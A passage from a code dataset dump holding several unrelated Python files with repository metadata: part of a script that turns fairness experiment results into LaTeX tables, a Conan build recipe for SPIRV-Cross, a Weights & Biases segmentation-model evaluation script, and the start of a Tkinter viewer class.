\\\\hline\\n')\n f.write(' domain & RF & MS \\\\\\\\\\n')\n f.write(' \\\\hline\\n')\n for d in domains:\n f.write(' {:8s} & {:5.2f} & {:5.2f} \\\\\\\\\\n'.format(\n d,\n StatisticalFairness.discrimination(data[d]['statistical-fairness']['meta-silvae']) * 100.0,\n StatisticalFairness.discrimination(data[d]['statistical-fairness']['random-forest']) * 100.0\n ))\n f.write(' \\\\hline\\n')\n f.write('\\\\end{tabular}\\n')\n\n\n########################################################################\n# Random Forest vs meta-silvae: CAT, NOISE and NOISE-CAT fairness\nwith open(out_dir + '/tab-comparison.tex', 'w') as f:\n f.write('\\\\begin{tabular}{| r | r r | r r | r r | r r | r r |}\\n')\n f.write(' \\\\hline\\n')\n f.write(' & \\multicolumn{2}{| c |}{Acc. \\%} & \\multicolumn{2}{| c |}{B-Acc. \\%} & \\multicolumn{6}{| c |}{Fairness \\%} \\\\\\\\\\n')\n f.write(' & & & & & \\multicolumn{2}{| c |}{CAT} & \\multicolumn{2}{| c |}{NOISE} & \\multicolumn{2}{| c |}{NOISE + CAT} \\\\\\\\\\n')\n f.write(' domain & RF & MS & RF & MS & RF & MS & RF & MS & RF & MS \\\\\\\\\\n')\n f.write(' \\\\hline\\n')\n for domain in domains:\n f.write(' {:16s} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} \\\\\\\\\\n'.format(\n domain,\n data[domain]['cat']['random-forest']['accuracy'] * 100.0, data[domain]['cat']['meta-silvae']['accuracy'] * 100.0,\n data[domain]['cat']['random-forest']['balanced-accuracy'] * 100.0, data[domain]['cat']['meta-silvae']['balanced-accuracy'] * 100.0,\n data[domain]['cat']['random-forest']['stability'] * 100.0, data[domain]['cat']['meta-silvae']['stability'] * 100.0,\n data[domain]['noise']['random-forest']['stability'] * 100.0, data[domain]['noise']['meta-silvae']['stability'] * 100.0,\n data[domain]['noise-cat']['random-forest']['stability'] * 100.0, data[domain]['noise-cat']['meta-silvae']['stability'] * 100.0,\n )) \n f.write(' \\\\hline\\n')\n f.write('\\\\end{tabular}\\n')\n\n\n########################################################################\n# Random Forest vs meta-silvae: ATTRIBUTE fairness\nwith open(out_dir + '/tab-comparison-attribute.tex', 'w') as f:\n f.write('\\\\begin{tabular}{| r | r r |}\\n')\n f.write(' \\\\hline\\n')\n f.write(' & \\multicolumn{2}{| c |}{Fairness. \\%} \\\\\\\\\\n')\n f.write(' domain & RF & MS \\\\\\\\\\n')\n f.write(' \\\\hline\\n')\n for domain in ['adult', 'german']:\n f.write(' {:16s} & {:6.2f} & {:6.2f} \\\\\\\\\\n'.format(\n domain,\n data[domain]['conditional-attribute']['random-forest']['stability'] * 100.0,\n data[domain]['conditional-attribute']['meta-silvae']['stability'] * 100.0,\n ))\n f.write(' \\\\hline\\n')\n f.write('\\\\end{tabular}\\n')\n\n\n########################################################################\n# Random Forest vs meta-silvae: size\nwith open(out_dir + '/tab-comparison-size.tex', 'w') as f:\n f.write('\\\\begin{tabular}{| r | r r |}\\n')\n f.write(' domain & RF & MS \\\\\\\\\\n')\n for domain in domains:\n f.write(' {:16s} & {} & {} \\\\\\\\\\n'.format(\n domain,\n data[domain]['cat']['random-forest']['size'],\n data[domain]['cat']['meta-silvae']['size']\n ))\n f.write(' \\\\hline\\n')\n f.write('\\\\end{tabular}\\n')\n\n\n########################################################################\n# Random Forest vs meta-silvae: verification time\nwith open(out_dir + '/tab-comparison-time.tex', 'w') as f:\n f.write('\\\\begin{tabular}{| r | r r | r r | r r |}\\n')\n f.write(' \\\\hline\\n')\n f.write(' & \\multicolumn{6}{| c |}{Avg. Verification Time per Sample (ms)} \\\\\\\\\\n')\n f.write(' & \\multicolumn{2}{| c |}{CAT} & \\multicolumn{2}{| c |}{NOISE} & \\multicolumn{2}{| c |}{NOISE + CAT} \\\\\\\\\\n')\n f.write(' domain & RF & MS & RF & MS & RF & MS \\\\\\\\\\n')\n f.write(' \\\\hline\\n')\n for domain in domains:\n n_samples = data[domain]['cat']['random-forest']['samples']\n factor = 1000.0 / n_samples\n f.write(' {:16s} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} & {:6.2f} \\\\\\\\\\n'.format(\n domain,\n data[domain]['cat']['random-forest']['time'] * factor, data[domain]['cat']['meta-silvae']['time'] * factor,\n data[domain]['noise']['random-forest']['time'] * factor, data[domain]['noise']['meta-silvae']['time'] * factor,\n data[domain]['noise-cat']['random-forest']['time'] * factor, data[domain]['noise-cat']['meta-silvae']['time'] * factor\n ))\n f.write(' \\\\hline\\n')\n f.write('\\\\end{tabular}\\n')\n\n\n########################################################################\n# Decision Trees: standard, hint and meta-silvae\nwith open(out_dir + '/tab-decision-trees.tex', 'w') as f:\n f.write('\\\\begin{tabular}{| r | r r r | r r r | r r r |}\\n')\n f.write(' \\\\hline\\n')\n f.write(' & \\multicolumn{3}{| c |}{MS} & \\multicolumn{3}{| c |}{standard} & \\multicolumn{3}{| c |}{hint} \\\\\\\\\\n')\n f.write(' domain & Acc. \\% & Fair. \\% & Size & Acc. \\% & Fair. \\% & Size & Acc. \\% & Fair. \\% & Size \\\\\\\\\\n')\n f.write(' \\\\hline\\n')\n for domain in domains:\n f.write(' {:8s} & {:6.2f} & {:6.2f} & {:5} & {:6.2f} & {:6.2f} & {:5} & {:6.2f} & {:6.2f} & {:5} \\\\\\\\\\n'.format(\n domain,\n data[domain]['noise-cat']['meta-silvae']['accuracy'] * 100.0,\n data[domain]['noise-cat']['meta-silvae']['stability'] * 100.0,\n data[domain]['noise-cat']['meta-silvae']['size'],\n data[domain]['decision-trees']['standard']['accuracy'] * 100.0,\n data[domain]['decision-trees']['standard']['stability'] * 100.0,\n data[domain]['decision-trees']['standard']['size'],\n data[domain]['decision-trees']['hint']['accuracy'] * 100.0,\n data[domain]['decision-trees']['hint']['stability'] * 100.0,\n data[domain]['decision-trees']['hint']['size']\n ))\n f.write(' \\\\hline\\n')\n f.write('\\\\end{tabular}\\n')\n\n\n########################################################################\n# meta-silvae boxplots\nwith open(out_dir + '/plot-metrics.csv', 'w') as f:\n w = csv.writer(f, delimiter=' ')\n w.writerow(['#domain', 'criterion', 'accuracy', 'balanced-accuracy', 'fairness', 'time', 'samples', 'size'])\n for domain in domains:\n for e in data[domain]['stats']:\n w.writerow([domain, 'noise-cat', e['accuracy'], e['balanced-accuracy'], e['stability'], e['time'], e['samples'], e['size']])\n", "repo_name": "fatt21/fatt", "sub_path": "process-output.py", "file_name": "process-output.py", "file_ext": "py", "file_size_in_byte": 7471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "name"}, {"api_name": "os.path.realpath", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 23, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 26, "usage_type": "call"}, {"api_name": "StatisticalFairness.discrimination", "line_number": 40, "usage_type": "call"}, {"api_name": "StatisticalFairness.discrimination", "line_number": 41, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 152, "usage_type": "call"}]} {"seq_id": "29189304752", "text": "from conans import ConanFile, CMake, tools\nfrom conans.errors import ConanInvalidConfiguration\nimport os\nimport textwrap\n\nrequired_conan_version = \">=1.33.0\"\n\n\nclass SpirvCrossConan(ConanFile):\n name = \"spirv-cross\"\n description = \"SPIRV-Cross is a practical tool and library for performing \" \\\n \"reflection on SPIR-V and disassembling SPIR-V back to high level languages.\"\n license = \"Apache-2.0\"\n topics = (\"conan\", \"spirv-cross\", \"reflection\", \"disassembler\", \"spirv\", \"spir-v\", \"glsl\", \"hlsl\")\n homepage = \"https://github.com/KhronosGroup/SPIRV-Cross\"\n url = \"https://github.com/conan-io/conan-center-index\"\n exports_sources = [\"CMakeLists.txt\", \"patches/**\"]\n generators = \"cmake\"\n settings = \"os\", \"arch\", \"compiler\", \"build_type\"\n options = {\n \"shared\": [True, False],\n \"fPIC\": [True, False],\n \"build_executable\": [True, False],\n \"glsl\": [True, False],\n \"hlsl\": [True, False],\n \"msl\": [True, False],\n \"cpp\": [True, False],\n \"reflect\": [True, False],\n \"c_api\": [True, False],\n \"util\": [True, False],\n \"namespace\": \"ANY\",\n }\n default_options = {\n \"shared\": False,\n \"fPIC\": True,\n \"build_executable\": True,\n \"glsl\": True,\n \"hlsl\": True,\n \"msl\": True,\n \"cpp\": True,\n \"reflect\": True,\n \"c_api\": True,\n \"util\": True,\n \"namespace\": \"spirv_cross\",\n }\n\n _cmake = None\n\n @property\n def _source_subfolder(self):\n return \"source_subfolder\"\n\n @property\n def _build_subfolder(self):\n return \"build_subfolder\"\n\n def config_options(self):\n if self.settings.os == \"Windows\":\n del self.options.fPIC\n\n def configure(self):\n if self.options.shared:\n del self.options.fPIC\n # these options don't contribute to shared binary\n del self.options.c_api\n del self.options.util\n\n def validate(self):\n if not self.options.glsl and \\\n (self.options.hlsl or self.options.msl or self.options.cpp or self.options.reflect):\n raise ConanInvalidConfiguration(\"hlsl, msl, cpp and reflect require glsl enabled\")\n\n def source(self):\n tools.get(**self.conan_data[\"sources\"][self.version],\n destination=self._source_subfolder, strip_root=True)\n\n def build(self):\n for patch in self.conan_data.get(\"patches\", {}).get(self.version, []):\n tools.patch(**patch)\n cmake = self._configure_cmake()\n cmake.build()\n if self.options.build_executable and not self._are_proper_binaries_available_for_executable:\n self._build_exe()\n\n def _configure_cmake(self):\n if self._cmake:\n return self._cmake\n self._cmake = CMake(self)\n self._cmake.definitions[\"SPIRV_CROSS_EXCEPTIONS_TO_ASSERTIONS\"] = False\n self._cmake.definitions[\"SPIRV_CROSS_SHARED\"] = self.options.shared\n self._cmake.definitions[\"SPIRV_CROSS_STATIC\"] = not self.options.shared\n self._cmake.definitions[\"SPIRV_CROSS_CLI\"] = self.options.build_executable and self._are_proper_binaries_available_for_executable\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_TESTS\"] = False\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_GLSL\"] = self.options.glsl\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_HLSL\"] = self.options.hlsl\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_MSL\"] = self.options.msl\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_CPP\"] = self.options.cpp\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_REFLECT\"] = self.options.reflect\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_C_API\"] = self.options.get_safe(\"c_api\", True)\n self._cmake.definitions[\"SPIRV_CROSS_ENABLE_UTIL\"] = self.options.get_safe(\"util\", False)\n self._cmake.definitions[\"SPIRV_CROSS_SKIP_INSTALL\"] = False\n self._cmake.definitions[\"SPIRV_CROSS_FORCE_PIC\"] = self.options.get_safe(\"fPIC\", True)\n self._cmake.definitions[\"SPIRV_CROSS_NAMESPACE_OVERRIDE\"] = self.options.namespace\n self._cmake.configure(build_folder=self._build_subfolder)\n return self._cmake\n\n @property\n def _are_proper_binaries_available_for_executable(self):\n return (not self.options.shared and self.options.glsl and self.options.hlsl\n and self.options.msl and self.options.cpp and self.options.reflect\n and self.options.util)\n\n def _build_exe(self):\n cmake = CMake(self)\n cmake.definitions[\"SPIRV_CROSS_EXCEPTIONS_TO_ASSERTIONS\"] = False\n cmake.definitions[\"SPIRV_CROSS_SHARED\"] = False\n cmake.definitions[\"SPIRV_CROSS_STATIC\"] = True\n cmake.definitions[\"SPIRV_CROSS_CLI\"] = True\n cmake.definitions[\"SPIRV_CROSS_ENABLE_TESTS\"] = False\n cmake.definitions[\"SPIRV_CROSS_ENABLE_GLSL\"] = True\n cmake.definitions[\"SPIRV_CROSS_ENABLE_HLSL\"] = True\n cmake.definitions[\"SPIRV_CROSS_ENABLE_MSL\"] = True\n cmake.definitions[\"SPIRV_CROSS_ENABLE_CPP\"] = True\n cmake.definitions[\"SPIRV_CROSS_ENABLE_REFLECT\"] = True\n cmake.definitions[\"SPIRV_CROSS_ENABLE_C_API\"] = False\n cmake.definitions[\"SPIRV_CROSS_ENABLE_UTIL\"] = True\n cmake.definitions[\"SPIRV_CROSS_SKIP_INSTALL\"] = True\n cmake.definitions[\"SPIRV_CROSS_FORCE_PIC\"] = False\n cmake.configure(build_folder=\"build_subfolder_exe\")\n cmake.build()\n\n def package(self):\n self.copy(\"LICENSE\", dst=\"licenses\", src=self._source_subfolder)\n cmake = self._configure_cmake()\n cmake.install()\n if self.options.build_executable and not self._are_proper_binaries_available_for_executable:\n self.copy(pattern=\"spirv-cross*\", dst=\"bin\", src=os.path.join(\"build_subfolder_exe\", \"bin\"))\n tools.rmdir(os.path.join(self.package_folder, \"lib\", \"pkgconfig\"))\n tools.rmdir(os.path.join(self.package_folder, \"share\"))\n tools.remove_files_by_mask(os.path.join(self.package_folder, \"bin\"), \"*.ilk\")\n tools.remove_files_by_mask(os.path.join(self.package_folder, \"bin\"), \"*.pdb\")\n self._create_cmake_module_alias_targets(\n os.path.join(self.package_folder, self._module_file_rel_path),\n {target: \"spirv-cross::{}\".format(target) for target in self._spirv_cross_components.keys()}\n )\n\n @staticmethod\n def _create_cmake_module_alias_targets(module_file, targets):\n content = \"\"\n for alias, aliased in targets.items():\n content += textwrap.dedent(\"\"\"\\\n if(TARGET {aliased} AND NOT TARGET {alias})\n add_library({alias} INTERFACE IMPORTED)\n set_property(TARGET {alias} PROPERTY INTERFACE_LINK_LIBRARIES {aliased})\n endif()\n \"\"\".format(alias=alias, aliased=aliased))\n tools.save(module_file, content)\n\n @property\n def _module_subfolder(self):\n return os.path.join(\"lib\", \"cmake\")\n\n @property\n def _module_file_rel_path(self):\n return os.path.join(self._module_subfolder,\n \"conan-official-{}-targets.cmake\".format(self.name))\n\n @property\n def _spirv_cross_components(self):\n components = {}\n if self.options.shared:\n components.update({\"spirv-cross-c-shared\": []})\n else:\n components.update({\"spirv-cross-core\": []})\n if self.options.glsl:\n components.update({\"spirv-cross-glsl\": [\"spirv-cross-core\"]})\n if self.options.hlsl:\n components.update({\"spirv-cross-hlsl\": [\"spirv-cross-glsl\"]})\n if self.options.msl:\n components.update({\"spirv-cross-msl\": [\"spirv-cross-glsl\"]})\n if self.options.cpp:\n components.update({\"spirv-cross-cpp\": [\"spirv-cross-glsl\"]})\n if self.options.reflect:\n components.update({\"spirv-cross-reflect\": []})\n if self.options.c_api:\n c_api_requires = []\n if self.options.glsl:\n c_api_requires.append(\"spirv-cross-glsl\")\n if self.options.hlsl:\n c_api_requires.append(\"spirv-cross-hlsl\")\n if self.options.msl:\n c_api_requires.append(\"spirv-cross-msl\")\n if self.options.cpp:\n c_api_requires.append(\"spirv-cross-cpp\")\n if self.options.reflect:\n c_api_requires.append(\"spirv-cross-reflect\")\n components.update({\"spirv-cross-c\": c_api_requires})\n if self.options.util:\n components.update({\"spirv-cross-util\": [\"spirv-cross-core\"]})\n return components\n\n def package_info(self):\n # FIXME: we should provide one CMake config file per target (waiting for an implementation of https://github.com/conan-io/conan/issues/9000)\n def _register_component(target_lib, requires):\n self.cpp_info.components[target_lib].names[\"cmake_find_package\"] = target_lib\n self.cpp_info.components[target_lib].names[\"cmake_find_package_multi\"] = target_lib\n self.cpp_info.components[target_lib].builddirs.append(self._module_subfolder)\n self.cpp_info.components[target_lib].build_modules[\"cmake_find_package\"] = [self._module_file_rel_path]\n self.cpp_info.components[target_lib].build_modules[\"cmake_find_package_multi\"] = [self._module_file_rel_path]\n if self.options.shared:\n self.cpp_info.components[target_lib].names[\"pkg_config\"] = target_lib\n prefix = \"d\" if self.settings.os == \"Windows\" and self.settings.build_type == \"Debug\" else \"\"\n self.cpp_info.components[target_lib].libs = [\"{}{}\".format(target_lib, prefix)]\n self.cpp_info.components[target_lib].includedirs.append(os.path.join(\"include\", \"spirv_cross\"))\n self.cpp_info.components[target_lib].defines.append(\"SPIRV_CROSS_NAMESPACE_OVERRIDE={}\".format(self.options.namespace))\n self.cpp_info.components[target_lib].requires = requires\n if self.settings.os == \"Linux\" and self.options.glsl:\n self.cpp_info.components[target_lib].system_libs.append(\"m\")\n if not self.options.shared and self.options.c_api and tools.stdcpp_library(self):\n self.cpp_info.components[target_lib].system_libs.append(tools.stdcpp_library(self))\n\n for target_lib, requires in self._spirv_cross_components.items():\n _register_component(target_lib, requires)\n\n if self.options.build_executable:\n bin_path = os.path.join(self.package_folder, \"bin\")\n self.output.info(\"Appending PATH environment variable: {}\".format(bin_path))\n self.env_info.PATH.append(bin_path)\n", "repo_name": "SpaceIm/conan-spirv-cross", "sub_path": "conanfile.py", "file_name": "conanfile.py", "file_ext": "py", "file_size_in_byte": 10912, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "conans.ConanFile", "line_number": 9, "usage_type": "name"}, {"api_name": "conans.errors.ConanInvalidConfiguration", "line_number": 71, "usage_type": "call"}, {"api_name": "conans.tools.get", "line_number": 74, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 74, "usage_type": "name"}, {"api_name": "conans.tools.patch", "line_number": 79, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 79, "usage_type": "name"}, {"api_name": "conans.CMake", "line_number": 88, "usage_type": "call"}, {"api_name": "conans.CMake", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "conans.tools.rmdir", "line_number": 138, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 138, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "conans.tools.rmdir", "line_number": 139, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 139, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "conans.tools.remove_files_by_mask", "line_number": 140, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 140, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "conans.tools.remove_files_by_mask", "line_number": 141, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 141, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "textwrap.dedent", "line_number": 151, "usage_type": "call"}, {"api_name": "conans.tools.save", "line_number": 157, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 157, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path", "line_number": 214, "usage_type": "attribute"}, {"api_name": "conans.tools.stdcpp_library", "line_number": 219, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 219, "usage_type": "name"}, {"api_name": "conans.tools.stdcpp_library", "line_number": 220, "usage_type": "call"}, {"api_name": "conans.tools", "line_number": 220, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path", "line_number": 226, "usage_type": "attribute"}]} {"seq_id": "40764097731", "text": "import wandb\nimport torchvision.models as tvmodels\nimport pandas as pd\nfrom fastai.vision.all import *\n\nimport params\nfrom utils import get_predictions, create_iou_table, MIOU, BackgroundIOU, \\\n RoadIOU, TrafficLightIOU, TrafficSignIOU, PersonIOU, VehicleIOU, BicycleIOU, \\\n t_or_f, display_diagnostics\n\ndef download_data():\n # Use artefacts to track the data linage of our models\n processed_data_artifact = wandb.use_artifact(f'{params.PROCESSED_DATA_AT}:latest')\n # Download split data from W&B artifact\n processed_dataset_dir = Path(processed_data_artifact.download())\n return processed_dataset_dir\n\n\ndef label_func(fname):\n return (fname.parent.parent/\"labels\")/f\"{fname.stem}_mask.png\"\n\n\ndef get_df(processed_dataset_dir, is_test=False):\n # Read csv containing data split data (train/valid/test)\n df = pd.read_csv(processed_dataset_dir / 'data_split.csv')\n\n if not is_test:\n df = df[df.Stage != 'test'].reset_index(drop=True)\n df['is_valid'] = df.Stage == 'valid'\n else:\n df = df[df.Stage != 'train'].reset_index(drop=True)\n df['is_valid'] = df.Stage == 'valid'\n # when passed to datablock, this will return test at index 0 and valid at index 1\n \n # Add image and mask label paths to dataframe\n df[\"image_fname\"] = [processed_dataset_dir/f'images/{f}' for f in df.File_Name.values]\n df[\"label_fname\"] = [label_func(f) for f in df.image_fname.values]\n\n return df\n\n\n# fastAI dataloader\ndef get_data(df, bs=4, img_size=180, augment=True):\n block = DataBlock(blocks=(ImageBlock, MaskBlock(codes=params.BDD_CLASSES)),\n get_x=ColReader(\"image_fname\"),\n get_y=ColReader(\"label_fname\"),\n splitter=ColSplitter(),\n item_tfms=Resize((img_size, int(img_size * 16 / 9))),\n batch_tfms=aug_transforms() if augment else None,\n )\n return block.dataloaders(df, bs=bs)\n\n\ndef log_predictions(learn):\n \"Log a Table with model predictions and metrics\"\n samples, outputs, predictions = get_predictions(learn)\n table = create_iou_table(samples, outputs, predictions, params.BDD_CLASSES)\n wandb.log({\"val_pred_table\":table})\n \n\ndef count_by_class(arr, cidxs): \n return [(arr == n).sum(axis=(1,2)).numpy() for n in cidxs]\n\n\ndef log_hist(c):\n _, bins, _ = plt.hist(target_counts[c], bins=10, alpha=0.5, density=True, label='target')\n _ = plt.hist(pred_counts[c], bins=bins, alpha=0.5, density=True, label='pred')\n plt.legend(loc='upper right')\n plt.title(params.BDD_CLASSES[c])\n img_path = f'hist_val_{params.BDD_CLASSES[c]}'\n plt.savefig(img_path)\n plt.clf()\n im = plt.imread(f'{img_path}.png')\n wandb.log({img_path: wandb.Image(f'{img_path}.png', caption=img_path)})\n\n\n# ---------- Get/Evaluate a model from a W&B model registry ------------\n\n# Create a new W&B run with an \"evaluation\" job type\nrun = wandb.init(project=params.WANDB_PROJECT, entity=params.ENTITY, job_type=\"evaluation\", tags=['staging'])\n\n# Retreive model from the registry using the \"staging\" alias\nartifact = run.use_artifact('doc93/model-registry/Semantic-Segmentation-BDD1K:staging', type='model')\n\nartifact_dir = Path(artifact.download())\n_model_pth = artifact_dir.ls()[0]\nmodel_path = _model_pth.parent.absolute()/_model_pth.stem\n\n# logged_by() - gives you the config of the W&B run that the artifact was generated by (i.e. lineage)\nproducer_run = artifact.logged_by()\n# Propagate config from the parent W&B run to the current W&B run\nwandb.config.update(producer_run.config)\nconfig = wandb.config\n\nprocessed_dataset_dir = download_data()\ntest_valid_df = get_df(processed_dataset_dir, is_test=True)\ntest_valid_dls = get_data(test_valid_df, bs=config.batch_size, img_size=config.img_size, augment=config.augment)\n\nmetrics = [MIOU(), BackgroundIOU(), RoadIOU(), TrafficLightIOU(),\n TrafficSignIOU(), PersonIOU(), VehicleIOU(), BicycleIOU()]\n\ncbs = [MixedPrecision()] if config.mixed_precision else []\n\nlearn = unet_learner(test_valid_dls, arch=getattr(tvmodels, config.arch), pretrained=config.pretrained, \n metrics=metrics)\n\nlearn.load(model_path);\n\nval_metrics = learn.validate(ds_idx=1)\ntest_metrics = learn.validate(ds_idx=0)\n\nval_metric_names = ['val_loss'] + [f'val_{x.name}' for x in learn.metrics]\nval_results = {val_metric_names[i] : val_metrics[i] for i in range(len(val_metric_names))}\nfor k,v in val_results.items(): \n wandb.summary[k] = v\n\ntest_metric_names = ['test_loss'] + [f'test_{x.name}' for x in learn.metrics]\ntest_results = {test_metric_names[i] : test_metrics[i] for i in range(len(test_metric_names))}\nfor k,v in test_results.items(): \n wandb.summary[k] = v\n \nlog_predictions(learn)\n\nval_probs, val_targs = learn.get_preds(ds_idx=1)\nval_preds = val_probs.argmax(dim=1)\nclass_idxs = params.BDD_CLASSES.keys()\n\ntarget_counts = count_by_class(val_targs, class_idxs)\npred_counts = count_by_class(val_preds, class_idxs)\n\nfor c in class_idxs:\n log_hist(c)\n \nval_count_df, val_disp = display_diagnostics(learner=learn, ds_idx=1, return_vals=True)\nwandb.log({'val_confusion_matrix': val_disp.figure_})\nval_ct_table = wandb.Table(dataframe=val_count_df)\nwandb.log({'val_count_table': val_ct_table})\n\ntest_count_df, test_disp = display_diagnostics(learner=learn, ds_idx=0, return_vals=True)\nwandb.log({'test_confusion_matrix': test_disp.figure_})\ntest_ct_table = wandb.Table(dataframe=test_count_df)\nwandb.log({'test_count_table': test_ct_table})\n\nrun.finish()", "repo_name": "DavidoF3/MLOps-model-development", "sub_path": "3_model_eval/eval.py", "file_name": "eval.py", "file_ext": "py", "file_size_in_byte": 5539, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "wandb.use_artifact", "line_number": 13, "usage_type": "call"}, {"api_name": "params.PROCESSED_DATA_AT", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "params.BDD_CLASSES", "line_number": 44, "usage_type": "attribute"}, {"api_name": "utils.get_predictions", "line_number": 56, "usage_type": "call"}, {"api_name": "utils.create_iou_table", "line_number": 57, "usage_type": "call"}, {"api_name": "params.BDD_CLASSES", "line_number": 57, "usage_type": "attribute"}, {"api_name": "wandb.log", "line_number": 58, "usage_type": "call"}, {"api_name": "params.BDD_CLASSES", "line_number": 69, "usage_type": "attribute"}, {"api_name": "params.BDD_CLASSES", "line_number": 70, "usage_type": "attribute"}, {"api_name": "wandb.log", "line_number": 74, "usage_type": "call"}, {"api_name": "wandb.Image", "line_number": 74, "usage_type": "call"}, {"api_name": "wandb.init", "line_number": 80, "usage_type": "call"}, {"api_name": "params.WANDB_PROJECT", "line_number": 80, "usage_type": "attribute"}, {"api_name": "params.ENTITY", "line_number": 80, "usage_type": "attribute"}, {"api_name": "wandb.config.update", "line_number": 92, "usage_type": "call"}, {"api_name": "wandb.config", "line_number": 92, "usage_type": "attribute"}, {"api_name": "wandb.config", "line_number": 93, "usage_type": "attribute"}, {"api_name": "utils.MIOU", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.BackgroundIOU", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.RoadIOU", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.TrafficLightIOU", "line_number": 99, "usage_type": "call"}, {"api_name": "utils.TrafficSignIOU", "line_number": 100, "usage_type": "call"}, {"api_name": "utils.PersonIOU", "line_number": 100, "usage_type": "call"}, {"api_name": "utils.VehicleIOU", "line_number": 100, "usage_type": "call"}, {"api_name": "utils.BicycleIOU", "line_number": 100, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 104, "usage_type": "argument"}, {"api_name": "wandb.summary", "line_number": 115, "usage_type": "attribute"}, {"api_name": "wandb.summary", "line_number": 120, "usage_type": "attribute"}, {"api_name": "params.BDD_CLASSES.keys", "line_number": 126, "usage_type": "call"}, {"api_name": "params.BDD_CLASSES", "line_number": 126, "usage_type": "attribute"}, {"api_name": "utils.display_diagnostics", "line_number": 134, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 135, "usage_type": "call"}, {"api_name": "wandb.Table", "line_number": 136, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 137, "usage_type": "call"}, {"api_name": "utils.display_diagnostics", "line_number": 139, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 140, "usage_type": "call"}, {"api_name": "wandb.Table", "line_number": 141, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 142, "usage_type": "call"}]} {"seq_id": "23002450063", "text": "from tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom tkinter import filedialog\nfrom tkinter import font as tkFont\n\n#############\n# Utilities #\n#############\nimport os, sys\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nmatplotlib.use(\"TkAgg\")\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk\nfrom matplotlib.figure import Figure\nfrom matplotlib import style\nstyle.use('ggplot')\n#############\nimport Constants\n \n\nclass Navigator():\n def __init__(__self__,parent):\n __self__.master = Toplevel(master=parent.master)\n __self__.master.protocol(\"WM_DELETE_WINDOW\",__self__.kill)\n __self__.master.title(\"Index navigator\")\n __self__.master.geometry(\"1280x600\")\n __self__.master.attributes(\"-alpha\",0.0)\n __self__.parent = parent\n __self__.LeftCanvas = Canvas(__self__.master, bg=\"white\")\n __self__.RightCanvas = Canvas(__self__.master, bg=\"white\")\n __self__.Footer = ttk.LabelFrame(__self__.master,text=\"Commands\",padding=12)\n __self__.BarL = ttk.Frame(__self__.Footer)\n __self__.BarR = ttk.Frame(__self__.Footer)\n 